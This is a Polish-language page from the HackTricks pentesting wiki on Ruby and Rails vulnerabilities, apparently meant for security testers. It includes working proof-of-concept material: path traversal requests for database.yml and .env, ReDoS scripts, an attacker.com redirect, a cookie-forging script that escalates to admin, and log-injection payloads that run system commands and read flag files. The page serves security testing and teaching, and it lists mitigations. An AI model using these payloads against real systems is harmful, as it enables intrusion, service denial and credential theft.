Triki Ruby
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Wgrywanie pliku do RCE
Jak wyjaśniono w this article, wgranie pliku .rb do wrażliwych katalogów, takich jak config/initializers/, może prowadzić do remote code execution (RCE) w aplikacjach Ruby on Rails.
Wskazówki:
- Inne miejsca ładowania przy starcie aplikacji (boot/eager-load), które są wykonywane przy starcie, także są ryzykowne, jeśli są zapisywalne (np.
config/initializers/to klasyczny przykład). Jeśli znajdziesz dowolny upload pliku, który trafia gdziekolwiek podconfig/i jest później evaluated/required, możesz uzyskać RCE przy starcie. - Szukaj buildów dev/staging, które kopiują pliki kontrolowane przez użytkownika do image kontenera, gdzie Rails załaduje je przy starcie.
Active Storage transformacja obrazów → command execution (CVE-2025-24293)
Kiedy aplikacja używa Active Storage z image_processing + mini_magick, i przekazuje niezaufane parametry do metod transformacji obrazów, wersje Rails przed 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mogły pozwolić na command injection, ponieważ niektóre metody transformacji zostały omyłkowo dopuszczone domyślnie.
- Wzorzec podatny wygląda tak:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
gdzie params[:t] i/lub params[:v] są kontrolowane przez atakującego.
-
Co sprawdzić podczas testów
-
Zidentyfikuj endpointy przyjmujące opcje variant/processing, nazwy transformacji lub dowolne argumenty ImageMagick.
-
Fuzzuj
params[:t]iparams[:v]w poszukiwaniu podejrzanych błędów lub skutków ubocznych wykonania. Jeśli możesz wpłynąć na nazwę metody lub przekazać surowe argumenty, które trafią do MiniMagick, możesz uzyskać wykonanie kodu na hoście przetwarzającym obrazy. -
Jeśli masz tylko dostęp do odczytu wygenerowanych wariantów, spróbuj ślepego exfiltration przez spreparowane operacje ImageMagick.
-
Łagodzenie/detekcja
-
Jeśli widzisz Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 z Active Storage +
image_processing+mini_magicki transformacjami kontrolowanymi przez użytkownika, traktuj to jako podatne. Zalecaj aktualizację i egzekwowanie ścisłych allowlist dla metod/parametrów oraz wzmocnioną politykę ImageMagick.
Rack::Static LFI / path traversal (CVE-2025-27610)
Jeśli stos docelowy używa middleware Rack bezpośrednio lub przez frameworki, wersje rack przed 2.2.13, 3.0.14 i 3.1.12 pozwalają na Local File Inclusion przez Rack::Static, gdy :root jest niezdefiniowane/błędnie skonfigurowane. Zakodowane traversale w PATH_INFO mogą ujawnić pliki pod katalogiem roboczym procesu lub niespodziewanym rootem.
- Szukaj aplikacji, które montują
Rack::Staticwconfig.rulub w stackach middleware. Wypróbuj zakodowane traversale przeciwko statycznym ścieżkom, np.:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Dopasuj prefix do skonfigurowanych urls:. Jeśli aplikacja odpowiada zawartością pliku, prawdopodobnie masz LFI do wszystkiego pod rozwiąznym :root.
- Mitigacja: zaktualizuj Rack; upewnij się, że
:rootwskazuje tylko na katalog z plikami publicznymi i jest ustawiony explicite.
Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)
Rack < 3.0.9.1 i < 2.2.8.1 spędzał super-liniowy czas na parsowaniu spreparowanych nagłówków Content-Type: multipart/form-data. Pojedynczy POST z olbrzymią listą parametrów A= może zablokować workera Puma/Unicorn i spowodować DoS lub wyczerpanie kolejki żądań.
- Szybki PoC (zawiesi jednego workera):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
- Działa przeciwko każdemu stosowi opartemu na Rack (Rails/Sinatra/Hanami/Grape). Jeśli jest frontowany przez nginx/haproxy z keep-alive, powtórz równolegle, aby wyczerpać workerów.
- Załatane przez uczynienie parsera liniowym; szukaj gemu
rackw wersji <3.0.9.1lub <2.2.8.1. W ocenach punktuj, że WAFy rzadko to blokują, ponieważ nagłówek jest składniowo poprawny.
REXML XML parser ReDoS (CVE-2024-49761)
Gem REXML < 3.3.9 (Ruby 3.1 i wcześniejsze) katastrofalnie backtrackuje przy parsowaniu szesnastkowych referencji znakowych zawierających długie ciągi cyfr (np. �x41;). Każdy XML przetwarzany przez REXML lub biblioteki go owijające (klienci SOAP/XML API, SAML, uploady SVG) może być nadużyty do wyczerpania CPU.
Minimalny trigger przeciwko endpointowi Rails parsującemu XML:
curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>�x41;</r>'
Jeśli proces pozostaje zajęty przez kilka sekund, a zużycie CPU workerów gwałtownie rośnie, prawdopodobnie jest podatny. Atak wymaga niskiej przepustowości i wpływa także na zadania w tle, które przetwarzają XML.
CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220)
Aplikacje używające gema cgi (domyślnie w wielu stosach Rack) można zamrozić pojedynczym złośliwym nagłówkiem:
CGI::Cookie.parsemiało zachowanie nadliniowe; ogromne ciągi cookie (tysiące separatorów) wywołują zachowanie O(N²).- Regex w
CGI::Util#escapeElementumożliwiał ReDoS podczas escapowania HTML.
Oba problemy są załatane w cgi 0.3.5.1 / 0.3.7 / 0.4.2. Dla pentests, wyślij ogromny nagłówek Cookie: lub podaj nieufny HTML do kodu pomocniczego i obserwuj zawieszanie się workerów. Połącz z keep-alive, aby wzmocnić efekt.
Basecamp googlesign_in open redirect / cookie flash leak (CVE-2025-57821)
Gema googlesign_in < 1.3.0 (używanego do Google OAuth na Rails) wykonywał niepełne sprawdzenie same-origin dla parametru proceedto. Sfałszowany URL taki jak proceedto=//attacker.com/%2F.. omija to sprawdzenie i przekierowuje użytkownika poza serwis, zachowując przy tym Rails flash/session cookies.
Exploit flow:
- Ofiara klika spreparowany link Google Sign-In hostowany przez atakującego.
- Po uwierzytelnieniu gem przekierowuje na domenę kontrolowaną przez atakującego, powodując leak flash notices lub dowolnych danych przechowywanych w cookies o zakresie wildcard domain.
- Jeśli aplikacja przechowuje krótkotrwałe tokeny lub magic links we flash, można to wykorzystać do przejęcia konta.
Podczas testów przeszukaj Gemfile.lock pod googlesign_in < 1.3.0 i spróbuj zniekształconych wartości proceedto. Potwierdź przez nagłówek Location i refleksję cookie.
Forging/decrypting Rails cookies when secret_key_base is leaked
Rails szyfruje i podpisuje cookies przy użyciu kluczy wyprowadzonych z secret_key_base. Jeśli ta wartość leaks (np. w repo, logs lub źle skonfigurowanych credentials), zwykle możesz odszyfrować, zmodyfikować i ponownie zaszyfrować cookies. Często prowadzi to do authz bypass, jeśli aplikacja przechowuje role, user IDs lub feature flags w cookies.
Minimalny kod Ruby do odszyfrowania i ponownego zaszyfrowania nowoczesnych cookies (AES-256-GCM, domyślnie w nowszych Rails):
Ruby to decrypt/forge cookies
```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])
salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”
Modify and re-encrypt (example: escalate role)
plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”
</details>
Uwagi:
- Starsze aplikacje mogą używać AES-256-CBC i saltów `encrypted cookie` / `signed encrypted cookie`, lub serializerów JSON/Marshal. Dostosuj salty, szyfr i serializer odpowiednio.
- W razie kompromitacji lub podczas oceny, zmień `secret_key_base`, aby unieważnić wszystkie istniejące cookies.
## See also (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
Gdy aplikacja (często prosty endpoint Rack/Sinatra/Rails) jednocześnie:
- loguje dowolny ciąg kontrolowany przez użytkownika dosłownie, oraz
- a następnie wywołuje `load` na pliku, którego ścieżka pochodzi z tego samego ciągu (po `Pathname#cleanpath`),
Często można osiągnąć remote code execution, zatruwając log i zmuszając aplikację do `load` pliku z logiem. Kluczowe prymitywy:
- Ruby `load` ocenia zawartość docelowego pliku jako Ruby, niezależnie od rozszerzenia pliku. Każdy czytelny plik tekstowy, którego zawartość da się sparsować jako Ruby, zostanie wykonany.
- `Pathname#cleanpath` skraca segmenty `.` i `..` bez odwołań do systemu plików, umożliwiając path smuggling: kontrolowane przez atakującego śmieci mogą być dodane na początku dla logowania, podczas gdy oczyszczona ścieżka nadal wskazuje na zamierzony plik do wykonania (np. `../logs/error.log`).
### Minimal vulnerable pattern
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Dlaczego log może zawierać poprawny Ruby
Logger zapisuje linie prefiksu takie jak:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
W Ruby # rozpoczyna komentarz, a 9/2/2025 to po prostu działanie arytmetyczne. Aby wstrzyknąć poprawny kod Ruby, musisz:
- Rozpocząć payload na nowej linii, aby nie został zakomentowany przez
#w linii INFO; wyślij początkowy znak nowej linii (\nlub%0A). - Zamknąć wiszący
[wprowadzony przez linię INFO. Częstym trikiem jest rozpoczęcie od]i opcjonalnie „uszczęśliwienie” parsera za pomocą][0]=1. - Następnie umieścić dowolny kod Ruby (np.
system(...)).
Przykład tego, co znajdzie się w logu po jednym żądaniu ze spreparowanym paramem:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Przemycenie pojedynczego ciągu, który zarówno zapisuje kod w logu, jak i rozwiązuje się do ścieżki logów
Chcemy jeden kontrolowany przez atakującego ciąg, który:
- gdy zapisany bez modyfikacji w logu, zawiera nasz Ruby payload, oraz
- gdy przekazany przez
Pathname.new(<input>).cleanpath, rozwiązuje się do../logs/error.log, dzięki czemu następujące po tymloadwykona właśnie zatruty plik logu.
Pathname#cleanpath ignoruje schematy i redukuje komponenty przejścia (..), więc następujące działa:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
#przed://powoduje, że Ruby ignoruje resztę, gdy log jest wykonywany, podczas gdycleanpathnadal redukuje sufiks do../logs/error.log.- Wiodący znak nowej linii przerywa linię INFO;
]zamyka wiszący nawias;][0]=1zadowala parser.
Eksploatacja end-to-end
- Wyślij następujące jako nazwę skryptu backupu (zakoduj pierwszy znak nowej linii jako
%0A, jeśli potrzeba):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- Aplikacja loguje Twój surowy string do
logs/error.log. - Aplikacja oblicza
cleanpath, który rozwiązuje się do../logs/error.logi wywołuje na nimload. - Ruby wykonuje kod, który wstrzyknąłeś do loga.
Aby dokonać eksfiltracji pliku w środowisku typu CTF:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
PoC zakodowany w URL (pierwszy znak to nowa linia):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Źródła
- Ogłoszenie bezpieczeństwa Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1)
- Komunikat GitHub: Rack::Static Local File Inclusion (CVE-2025-27610)
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Dokumentacja Ruby Pathname.cleanpath
- Ruby Logger
- Jak działa load w Ruby
- Komunikat dotyczący Rack multipart ReDoS (CVE-2024-25126)
- Komunikaty bezpieczeństwa Ruby dotyczące CGI / URI (CVE-2025-27219/27220/27221)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


